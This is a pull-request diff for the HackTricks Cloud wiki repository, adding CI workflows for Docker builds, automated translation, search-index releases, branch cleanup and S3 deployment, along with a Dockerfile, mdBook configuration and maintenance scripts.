Wir schätzen Ihr Wissen und ermutigen Sie, Inhalte zu teilen. Bitte stellen Sie sicher, dass Sie nur Inhalte hochladen, die Sie besitzen oder für die Sie die Erlaubnis des ursprünglichen Autors haben, sie zu teilen (indem Sie einen Verweis auf den Autor im hinzugefügten Text oder am Ende der Seite, die Sie ändern, oder beides hinzufügen). Ihr Respekt vor den Rechten an geistigem Eigentum fördert eine vertrauenswürdige und legale Sharing-Umgebung für alle.
We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
## HackTricks Training
Wenn Sie hinzufügen, um die [ARTE-Zertifizierung](https://training.hacktricks.xyz/courses/arte) mit 2 Flags anstelle von 3 zu bestehen, müssen Sie die PR `arte-<username>` nennen.
If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`.
Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction.
In any case, thanks for contributing to HackTricks!
Denken Sie auch daran, dass Grammatik-/Syntaxkorrekturen für die Reduzierung der Prüfungsflags nicht akzeptiert werden.
In jedem Fall vielen Dank für Ihren Beitrag zu HackTricks!

56
.github/workflows/build_docker.yml vendored Normal file
View File

@@ -0,0 +1,56 @@
name: Build and Push Docker Image
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
- 'book/**'
workflow_dispatch:
concurrency: build_docker
permissions:
packages: write
id-token: write
contents: write
jobs:
build-and-push:
runs-on: ubuntu-latest
steps:
# 1. Check out the repository to get the Dockerfile
- name: Check out code
uses: actions/checkout@v3
with:
fetch-depth: 0
# 2. Log into GitHub Container Registry
- name: Log in to GHCR
uses: docker/login-action@v2
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
# 3. Build and push
- name: Build and push Docker image
run: |
# Define image name
IMAGE_NAME=ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image
# Build Docker image
docker build -t $IMAGE_NAME:latest .
# Push Docker image to GHCR
docker push $IMAGE_NAME:latest
# Set image visibility to public
curl -X PATCH \
-H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/packages/container/translator-image/visibility \
-d '{"visibility":"public"}'

View File

@@ -14,12 +14,15 @@ on:
concurrency: build_master
permissions:
packages: write
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
container:
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
environment: prod
steps:
@@ -27,32 +30,65 @@ jobs:
uses: actions/checkout@v4
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
# Build the mdBook
- name: Build mdBook
run: mdbook build
run: MDBOOK_BOOK__LANGUAGE=en mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
# Cat hacktricks-preprocessor.log
#- name: Cat hacktricks-preprocessor.log
# run: cat hacktricks-preprocessor.log
- name: Install GitHub CLI
run: |
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y
- name: Publish search index release asset
shell: bash
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
ASSET="book/searchindex.js"
TAG="searchindex-en"
TITLE="Search Index (en)"
if [ ! -f "$ASSET" ]; then
echo "Expected $ASSET to exist after build" >&2
exit 1
fi
TOKEN="${GITHUB_TOKEN}"
if [ -z "$TOKEN" ]; then
echo "No token available for GitHub CLI" >&2
exit 1
fi
export GH_TOKEN="$TOKEN"
# Delete the release if it exists
echo "Checking if release $TAG exists..."
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
echo "Release $TAG already exists, deleting it..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || {
echo "Failed to delete release, trying without cleanup-tag..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || {
echo "Warning: Could not delete existing release, will try to recreate..."
}
}
sleep 2 # Give GitHub API a moment to process the deletion
else
echo "Release $TAG does not exist, proceeding with creation..."
fi
# Create new release (with force flag to overwrite if deletion failed)
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || {
echo "Failed to create release, trying with force flag..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true
sleep 2
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
}
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3

204
.github/workflows/cleanup_branches.yml vendored Normal file
View File

@@ -0,0 +1,204 @@
name: Cleanup Merged/Closed PR Branches
on:
schedule:
- cron: '0 2 * * 0' # Every Sunday at 2 AM UTC
workflow_dispatch: # Allow manual triggering
inputs:
dry_run:
description: 'Dry run (show what would be deleted without actually deleting)'
required: false
default: 'false'
type: boolean
permissions:
contents: write
pull-requests: read
jobs:
cleanup-branches:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
fetch-depth: 0 # Need full history to see all branches
token: ${{ secrets.PAT_TOKEN }}
- name: Install GitHub CLI
run: |
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y
- name: Configure git
run: |
git config --global user.email "action@github.com"
git config --global user.name "GitHub Action"
- name: Cleanup merged/closed PR branches
env:
GH_TOKEN: ${{ secrets.PAT_TOKEN }}
run: |
echo "Starting branch cleanup process..."
# Check if this is a dry run
DRY_RUN="${{ github.event.inputs.dry_run || 'false' }}"
if [ "$DRY_RUN" = "true" ]; then
echo "🔍 DRY RUN MODE - No branches will actually be deleted"
echo ""
fi
# Define protected branches and patterns
protected_branches=(
"master"
"main"
)
# Translation branch patterns (any 2-letter combination)
translation_pattern="^[a-zA-Z]{2}$"
# Get all remote branches except protected ones
echo "Fetching all remote branches..."
git fetch --all --prune
# Get list of all remote branches (excluding HEAD)
all_branches=$(git branch -r | grep -v 'HEAD' | sed 's/origin\///' | grep -v '^$')
# Get all open PRs to identify branches with open PRs
echo "Getting list of open PRs..."
open_pr_branches=$(gh pr list --state open --json headRefName --jq '.[].headRefName' | sort | uniq)
echo "Open PR branches:"
echo "$open_pr_branches"
echo ""
deleted_count=0
skipped_count=0
for branch in $all_branches; do
branch=$(echo "$branch" | xargs) # Trim whitespace
# Skip if empty
if [ -z "$branch" ]; then
continue
fi
echo "Checking branch: $branch"
# Check if it's a protected branch
is_protected=false
for protected in "${protected_branches[@]}"; do
if [ "$branch" = "$protected" ]; then
echo " ✓ Skipping protected branch: $branch"
is_protected=true
skipped_count=$((skipped_count + 1))
break
fi
done
if [ "$is_protected" = true ]; then
continue
fi
# Check if it's a translation branch (any 2-letter combination)
# Also protect any branch that starts with 2 letters followed by additional content
if echo "$branch" | grep -Eq "$translation_pattern" || echo "$branch" | grep -Eq "^[a-zA-Z]{2}[_-]"; then
echo " ✓ Skipping translation/language branch: $branch"
skipped_count=$((skipped_count + 1))
continue
fi
# Check if branch has an open PR
if echo "$open_pr_branches" | grep -Fxq "$branch"; then
echo " ✓ Skipping branch with open PR: $branch"
skipped_count=$((skipped_count + 1))
continue
fi
# Check if branch had a PR that was merged or closed
echo " → Checking PR history for branch: $branch"
# Look for PRs from this branch (both merged and closed)
pr_info=$(gh pr list --state all --head "$branch" --json number,state,mergedAt --limit 1)
if [ "$pr_info" != "[]" ]; then
pr_state=$(echo "$pr_info" | jq -r '.[0].state')
pr_number=$(echo "$pr_info" | jq -r '.[0].number')
merged_at=$(echo "$pr_info" | jq -r '.[0].mergedAt')
if [ "$pr_state" = "MERGED" ] || [ "$pr_state" = "CLOSED" ]; then
if [ "$DRY_RUN" = "true" ]; then
echo " 🔍 [DRY RUN] Would delete branch: $branch (PR #$pr_number was $pr_state)"
deleted_count=$((deleted_count + 1))
else
echo " ✗ Deleting branch: $branch (PR #$pr_number was $pr_state)"
# Delete the remote branch
if git push origin --delete "$branch" 2>/dev/null; then
echo " Successfully deleted remote branch: $branch"
deleted_count=$((deleted_count + 1))
else
echo " Failed to delete remote branch: $branch"
fi
fi
else
echo " ✓ Skipping branch with open PR: $branch (PR #$pr_number is $pr_state)"
skipped_count=$((skipped_count + 1))
fi
else
# No PR found for this branch - it might be a stale branch
# Check if branch is older than 30 days and has no recent activity
last_commit_date=$(git log -1 --format="%ct" origin/"$branch" 2>/dev/null || echo "0")
if [ "$last_commit_date" != "0" ] && [ -n "$last_commit_date" ]; then
# Calculate 30 days ago in seconds since epoch
thirty_days_ago=$(($(date +%s) - 30 * 24 * 60 * 60))
if [ "$last_commit_date" -lt "$thirty_days_ago" ]; then
if [ "$DRY_RUN" = "true" ]; then
echo " 🔍 [DRY RUN] Would delete stale branch (no PR, >30 days old): $branch"
deleted_count=$((deleted_count + 1))
else
echo " ✗ Deleting stale branch (no PR, >30 days old): $branch"
if git push origin --delete "$branch" 2>/dev/null; then
echo " Successfully deleted stale branch: $branch"
deleted_count=$((deleted_count + 1))
else
echo " Failed to delete stale branch: $branch"
fi
fi
else
echo " ✓ Skipping recent branch (no PR, <30 days old): $branch"
skipped_count=$((skipped_count + 1))
fi
else
echo " ✓ Skipping branch (cannot determine age): $branch"
skipped_count=$((skipped_count + 1))
fi
fi
echo ""
done
echo "=================================="
echo "Branch cleanup completed!"
if [ "$DRY_RUN" = "true" ]; then
echo "Branches that would be deleted: $deleted_count"
else
echo "Branches deleted: $deleted_count"
fi
echo "Branches skipped: $skipped_count"
echo "=================================="
# Clean up local tracking branches (only if not dry run)
if [ "$DRY_RUN" != "true" ]; then
echo "Cleaning up local tracking branches..."
git remote prune origin
fi
echo "Cleanup process finished."

195
.github/workflows/translate_all.yml vendored Normal file
View File

@@ -0,0 +1,195 @@
name: Translator All
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
- Dockerfile
workflow_dispatch:
permissions:
packages: write
id-token: write
contents: write
jobs:
translate:
name: Translate → ${{ matrix.name }} (${{ matrix.branch }})
runs-on: ubuntu-latest
environment: prod
# Run N languages in parallel (tune max-parallel if needed)
strategy:
fail-fast: false
# max-parallel: 3 #Nothing to run all in parallel
matrix:
include:
- { name: "Afrikaans", language: "Afrikaans", branch: "af" }
- { name: "German", language: "German", branch: "de" }
- { name: "Greek", language: "Greek", branch: "el" }
- { name: "Spanish", language: "Spanish", branch: "es" }
- { name: "French", language: "French", branch: "fr" }
- { name: "Hindi", language: "Hindi", branch: "hi" }
- { name: "Italian", language: "Italian", branch: "it" }
- { name: "Japanese", language: "Japanese", branch: "ja" }
- { name: "Korean", language: "Korean", branch: "ko" }
- { name: "Polish", language: "Polish", branch: "pl" }
- { name: "Portuguese", language: "Portuguese", branch: "pt" }
- { name: "Serbian", language: "Serbian", branch: "sr" }
- { name: "Swahili", language: "Swahili", branch: "sw" }
- { name: "Turkish", language: "Turkish", branch: "tr" }
- { name: "Ukrainian", language: "Ukrainian", branch: "uk" }
- { name: "Chinese", language: "Chinese", branch: "zh" }
# Ensure only one job per branch runs at a time (even across workflow runs)
concurrency:
group: translate-${{ matrix.branch }}
cancel-in-progress: false
container:
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
env:
LANGUAGE: ${{ matrix.language }}
BRANCH: ${{ matrix.branch }}
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Update and download scripts
run: |
sudo apt-get update
# Install GitHub CLI properly
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y \
&& sudo apt-get install -y wget
wget -O /tmp/get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
wget -O /tmp/compare_and_fix_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/compare_and_fix_refs.py
wget -O /tmp/translator.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/translator.py
- name: Run get_and_save_refs.py
run: |
python /tmp/get_and_save_refs.py
- name: Download language branch & update refs
run: |
pwd
ls -la
git config --global --add safe.directory "$GITHUB_WORKSPACE"
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git config pull.rebase false
git checkout $BRANCH
git pull
python /tmp/compare_and_fix_refs.py --files-unmatched-paths /tmp/file_paths.txt
git add .
git commit -m "Fix unmatched refs" || echo "No changes to commit"
git push || echo "No changes to push"
- name: Run translation script on changed files
run: |
git checkout master
cp src/SUMMARY.md /tmp/master-summary.md
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n ",$file" >> /tmp/file_paths.txt
fi
done
echo "Files to translate (`wc -l < /tmp/file_paths.txt`):"
cat /tmp/file_paths.txt
echo ""
echo ""
touch /tmp/file_paths.txt
if [ -s /tmp/file_paths.txt ]; then
python /tmp/translator.py \
--language "$LANGUAGE" \
--branch "$BRANCH" \
--api-key "$OPENAI_API_KEY" \
-f "$(cat /tmp/file_paths.txt)" \
-t 3
else
echo "No markdown files changed, skipping translation."
fi
- name: Sync SUMMARY.md from master
run: |
git checkout "$BRANCH"
git pull
if [ -f /tmp/master-summary.md ]; then
cp /tmp/master-summary.md src/SUMMARY.md
git add src/SUMMARY.md
git commit -m "Sync SUMMARY.md with master" || echo "SUMMARY already up to date"
git push || echo "No SUMMARY updates to push"
else
echo "master summary not exported; failing"
exit 1
fi
- name: Build mdBook
run: |
git checkout "$BRANCH"
git pull
MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
- name: Publish search index release asset
shell: bash
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
ASSET="book/searchindex.js"
TAG="searchindex-${BRANCH}"
TITLE="Search Index (${BRANCH})"
if [ ! -f "$ASSET" ]; then
echo "Expected $ASSET to exist after build" >&2
exit 1
fi
TOKEN="${GITHUB_TOKEN}"
if [ -z "$TOKEN" ]; then
echo "No token available for GitHub CLI" >&2
exit 1
fi
export GH_TOKEN="$TOKEN"
# Delete the release if it exists
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
echo "Release $TAG already exists, deleting it..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY"
fi
# Create new release
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for $BRANCH" --repo "$GITHUB_REPOSITORY"
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: |
echo "Current branch:"
git rev-parse --abbrev-ref HEAD
echo "Syncing $BRANCH to S3"
aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
echo "Sync completed"
echo "Cat 3 files from the book"
find . -type f -name 'index.html' -print | head -n 3 | xargs -r cat

23
.github/workflows/upload_ht_to_ai.yml vendored Normal file
View File

@@ -0,0 +1,23 @@
name: Upload HackTricks to HackTricks AI
on:
workflow_dispatch:
schedule:
- cron: "0 5 1 * *"
jobs:
dowload-clean-push:
runs-on: ubuntu-latest
environment: prod
steps:
# 1. Download the script
- name: Dowload script
run: wget "https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/scripts/upload_ht_to_ai.py"
- name: Install pip dependencies
run: python3 -m pip install openai
# 2. Execute the script
- name: Execute script
run: export MY_OPENAI_API_KEY=${{ secrets.MY_OPENAI_API_KEY }}; python3 "./upload_ht_to_ai.py"

1
.gitignore vendored
View File

@@ -35,3 +35,4 @@ book
book/*
hacktricks-preprocessor.log
hacktricks-preprocessor-error.log
searchindex.js

31
Dockerfile Normal file
View File

@@ -0,0 +1,31 @@
# Use the official Python 3.12 Bullseye image as the base
FROM python:3.12-bullseye
# Install system dependencies
RUN apt-get update && apt-get install -y \
curl \
wget \
git \
sudo \
build-essential \
awscli
# Install Python libraries
RUN pip install --upgrade pip && \
pip install openai tqdm tiktoken
# Install Rust & Cargo
RUN curl https://sh.rustup.rs -sSf | sh -s -- -y
ENV PATH="/root/.cargo/bin:${PATH}"
# Install mdBook & plugins
RUN cargo install mdbook
RUN cargo install mdbook-alerts
RUN cargo install mdbook-reading-time
RUN cargo install mdbook-pagetoc
RUN cargo install mdbook-tabs
RUN cargo install mdbook-codename
# Set the working directory
WORKDIR /app

View File

@@ -1,34 +0,0 @@
# HackTricks Cloud
{{#include ./banners/hacktricks-training.md}}
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks Logos & Motion Design von_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
> Willkommen auf der Seite, auf der Sie jeden **Hacking-Trick/Technik/was auch immer im Zusammenhang mit CI/CD & Cloud** finden, den ich in **CTFs**, **realen** Lebensumgebungen, **Forschung** und **Lesen** von Forschungen und Nachrichten gelernt habe.
### **Pentesting CI/CD Methodologie**
**In der HackTricks CI/CD Methodologie finden Sie, wie man Infrastruktur im Zusammenhang mit CI/CD-Aktivitäten pentestet.** Lesen Sie die folgende Seite für eine **Einführung:**
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Pentesting Cloud Methodologie
**In der HackTricks Cloud Methodologie finden Sie, wie man Cloud-Umgebungen pentestet.** Lesen Sie die folgende Seite für eine **Einführung:**
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
### Lizenz & Haftungsausschluss
**Überprüfen Sie sie in:**
[HackTricks Werte & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
### Github Statistiken
![HackTricks Cloud Github Statistiken](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
{{#include ./banners/hacktricks-training.md}}

1
README.md Symbolic link
View File

@@ -0,0 +1 @@
src/README.md

View File

@@ -1,6 +1,7 @@
[book]
authors = ["HackTricks Team"]
language = "en"
multilingual = false
src = "src"
title = "HackTricks Cloud"
@@ -8,17 +9,26 @@ title = "HackTricks Cloud"
create-missing = false
extra-watch-dirs = ["translations"]
[preprocessor.alerts]
after = ["links"]
[preprocessor.reading-time]
[preprocessor.pagetoc]
[preprocessor.tabs]
[preprocessor.codename]
[preprocessor.hacktricks]
command = "python3 ./hacktricks-preprocessor.py"
env = "prod"
[output.html]
additional-css = ["theme/tabs.css", "theme/pagetoc.css"]
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
additional-js = [
"theme/tabs.js",
"theme/pagetoc.js",
"theme/tabs.js",
"theme/ht_searcher.js",
"theme/sponsor.js",
"theme/ai.js"
@@ -26,7 +36,6 @@ additional-js = [
no-section-label = true
preferred-dark-theme = "hacktricks-dark"
default-theme = "hacktricks-light"
hash-files = false
[output.html.fold]
enable = true # whether or not to enable section folding

View File

@@ -53,17 +53,11 @@ def ref(matchobj):
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
if "#" in href:
result = findtitle(href.split("#")[0], book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
result = findtitle(href, book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
chapter, _path = findtitle(href, book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
except Exception as e:
@@ -71,17 +65,11 @@ def ref(matchobj):
dir = path.dirname(current_chapter['source_path'])
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
if "#" in href:
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = chapter["name"]
logger.debug(f'Recursive title search result: {chapter["name"]}')
except Exception as e:
@@ -159,14 +147,8 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
logger.debug(f"Book keys: {book.keys()}")
# Handle both old (sections) and new (items) mdbook API
book_items = book.get('sections') or book.get('items', [])
for chapter in iterate_chapters(book_items):
if chapter is None:
continue
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")
current_chapter = chapter
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'

View File

@@ -0,0 +1,88 @@
#!/bin/bash
# Define the image folder and the root of your project
IMAGE_FOLDER="./src/images"
PROJECT_ROOT="."
# Move to the project root
cd "$PROJECT_ROOT" || exit
# Loop through each image file in the folder
find "$IMAGE_FOLDER" -type f | while IFS= read -r image; do
# Extract the filename without the path
image_name=$(basename "$image")
# If image file name contains "sponsor", skip it
if [[ "$image_name" == *"sponsor"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"arte"* ]]; then
echo "Skipping arte image: $image_name"
continue
fi
if [[ "$image_name" == *"grte"* ]]; then
echo "Skipping grte image: $image_name"
continue
fi
if [[ "$image_name" == *"azrte"* ]]; then
echo "Skipping azrte image: $image_name"
continue
fi
if [[ "$image_name" == *"websec"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"venacus"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"CLOUD"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"cloud.gif"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"CH_logo"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"lasttower"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
echo "Checking image: $image_name"
# Search for the image name using rg and capture the result
search_result=$(rg -F --files-with-matches "$image_name" \
--no-ignore --hidden \
--glob '!.git/*' \
--glob '!$IMAGE_FOLDER/*' < /dev/null)
echo "Search result: $search_result"
# If rg doesn't find any matches, delete the image
if [ -z "$search_result" ]; then
echo "Deleting unused image: $image"
rm "$image"
else
echo "Image used: $image_name"
echo "$search_result"
fi
done
echo "Cleanup completed!"

View File

@@ -0,0 +1,165 @@
#!/usr/bin/env python3
import argparse
import json
import re
from pathlib import Path
SRC_DIR = Path("./src")
REFS_JSON = Path("/tmp/refs.json")
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
def extract_refs(text: str):
"""Return a list of refs (trimmed) in appearance order."""
return [m.strip() for m in REF_RE.findall(text)]
def replace_refs_in_text(text: str, new_refs: list):
"""Replace all refs in text with new_refs, maintaining order."""
matches = list(REF_RE.finditer(text))
if len(matches) != len(new_refs):
return text # Can't replace if counts don't match
# Replace from end to beginning to avoid offset issues
result = text
for match, new_ref in zip(reversed(matches), reversed(new_refs)):
# Get the full match span to replace the entire {{#ref}}...{{#endref}} block
start, end = match.span()
# Format the replacement with proper newlines
formatted_replacement = f"{{{{#ref}}}}\n{new_ref}\n{{{{#endref}}}}"
result = result[:start] + formatted_replacement + result[end:]
return result
def main():
parser = argparse.ArgumentParser(description="Compare and fix refs between current branch and master branch")
parser.add_argument("--files-unmatched-paths", type=str,
help="Path to file where unmatched file paths will be saved (comma-separated on first line)")
args = parser.parse_args()
if not SRC_DIR.is_dir():
raise SystemExit(f"Not a directory: {SRC_DIR}")
if not REFS_JSON.exists():
raise SystemExit(f"Reference file not found: {REFS_JSON}")
# Load the reference refs from master branch
try:
with open(REFS_JSON, 'r', encoding='utf-8') as f:
master_refs = json.load(f)
except (json.JSONDecodeError, UnicodeDecodeError) as e:
raise SystemExit(f"Error reading {REFS_JSON}: {e}")
print(f"Loaded reference data for {len(master_refs)} files from {REFS_JSON}")
files_processed = 0
files_modified = 0
files_with_differences = 0
unmatched_files = [] # Track files with unmatched refs
# Track which files exist in current branch
current_files = set()
for md_path in sorted(SRC_DIR.rglob("*.md")):
rel = md_path.relative_to(SRC_DIR).as_posix()
rel_with_src = f"{SRC_DIR.name}/{rel}" # Include src/ prefix for output
files_processed += 1
# Track this file as existing in current branch
current_files.add(rel)
try:
content = md_path.read_text(encoding="utf-8")
except UnicodeDecodeError:
# Fallback if encoding is odd
content = md_path.read_text(errors="replace")
current_refs = extract_refs(content)
# Check if file exists in master refs
if rel not in master_refs:
if current_refs:
print(f"⚠️ NEW FILE with refs: {rel_with_src} (has {len(current_refs)} refs)")
files_with_differences += 1
unmatched_files.append(rel_with_src)
continue
master_file_refs = master_refs[rel]
# Compare ref counts
if len(current_refs) != len(master_file_refs):
print(f"📊 REF COUNT MISMATCH: {rel_with_src} -- Master: {len(master_file_refs)} refs, Current: {len(current_refs)} refs")
files_with_differences += 1
unmatched_files.append(rel_with_src)
continue
# If no refs in either, skip
if not current_refs and not master_file_refs:
continue
# Compare individual refs
differences_found = False
for i, (current_ref, master_ref) in enumerate(zip(current_refs, master_file_refs)):
if current_ref != master_ref:
if not differences_found:
print(f"🔍 REF DIFFERENCES in {rel_with_src}:")
differences_found = True
print(f" Ref {i+1}:")
print(f" Master: {repr(master_ref)}")
print(f" Current: {repr(current_ref)}")
if differences_found:
files_with_differences += 1
unmatched_files.append(rel_with_src)
# Replace current refs with master refs
try:
new_content = replace_refs_in_text(content, master_file_refs)
if new_content != content:
md_path.write_text(new_content, encoding="utf-8")
files_modified += 1
print(f" ✅ Fixed refs in {rel_with_src}")
else:
print(f" ❌ Failed to replace refs in {rel_with_src}")
except Exception as e:
print(f" ❌ Error fixing refs in {rel_with_src}: {e}")
# Check for files that exist in master refs but not in current branch
unexisted_files = 0
for master_file_rel in master_refs.keys():
if master_file_rel not in current_files:
rel_with_src = f"{SRC_DIR.name}/{master_file_rel}"
print(f"🗑️ {rel_with_src} (existed in master but not in current one)")
unexisted_files += 1
unmatched_files.append(rel_with_src)
# Save unmatched files to specified path if requested
if args.files_unmatched_paths and unmatched_files:
try:
unmatched_paths_file = Path(args.files_unmatched_paths)
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
with open(unmatched_paths_file, 'w', encoding='utf-8') as f:
f.write(','.join(list(set(unmatched_files))))
print(f"📝 Saved {len(unmatched_files)} unmatched file paths to: {unmatched_paths_file}")
except Exception as e:
print(f"❌ Error saving unmatched paths to {args.files_unmatched_paths}: {e}")
elif args.files_unmatched_paths and not unmatched_files:
# Create empty file if no unmatched files found
try:
unmatched_paths_file = Path(args.files_unmatched_paths)
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
unmatched_paths_file.write_text('\n', encoding='utf-8')
print(f"<EFBFBD> No unmatched files found. Created empty file: {unmatched_paths_file}")
except Exception as e:
print(f"❌ Error creating empty unmatched paths file {args.files_unmatched_paths}: {e}")
print(f"\n SUMMARY:")
print(f" Files processed: {files_processed}")
print(f" Files with different refs: {files_with_differences}")
print(f" Files modified: {files_modified}")
print(f" Non existing files: {unexisted_files}")
if unmatched_files:
print(f" Unmatched files: {len(unmatched_files)}")
if __name__ == "__main__":
main()

View File

